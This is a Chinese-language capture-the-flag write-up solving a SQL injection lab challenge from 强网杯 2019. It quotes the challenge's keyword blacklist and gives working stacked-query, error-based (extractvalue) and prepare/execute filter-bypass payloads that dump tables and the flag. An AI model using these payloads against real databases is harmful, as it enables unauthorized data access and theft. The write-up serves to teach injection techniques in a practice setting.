buuctf [强网杯 2019]随便注
正常操作后,发现只有两列,然后有正则匹配过滤了
return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
这题考了堆叠注入,原理很简单,就是通过 ;
号注入多条SQL语句。
1 | -1';show databases; |
看一下当前的数据库,这里考到了报错注入
原理:
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
但是这题update被过滤了
extractvalue() 传参时候稍有不同,其余都是一样的,用这两个函数时,常常用到拼接函数,将要要查询的语句和第二个特殊符号拼接起来一起回显。
sql里拼接函数:concat,concat_ws ,group_concat
1' and extractvalue(1,concat(0x7e,database(),0x7e));
0x7e 是十六进制~
当前数据库在supersqli 注意结果是按照报错的方式回显的。
-1';show tables;
爆表
flag在那串数字里
表名为数字时,要用反引号包起来查询。
1 | -1';show columns from `1919810931114514`; |
然后要使用存储过程预编译知识,构造能执行的语句
方法一:
set @name1 = sql 语句;
prepare name2 from @name1
EXECUTE name2
注意:一个@是用户变量,两个@是系统变量
方法二:
prepare name1 from 一个sql语句;
EXECUTE name1;
name1,name2的意思是一个名字
其实两者原理都一样
构造:
1 | 1';set @a = concat('se','lect * from `1919810931114514`;');prepare b from @a;EXECUTE b; |
strstr()函数对大小写很敏感,通过大写绕过即可。
1 | 1';Set @a = concat('se','lect * from `1919810931114514`;'); Prepare b from @a; EXECUTE b; |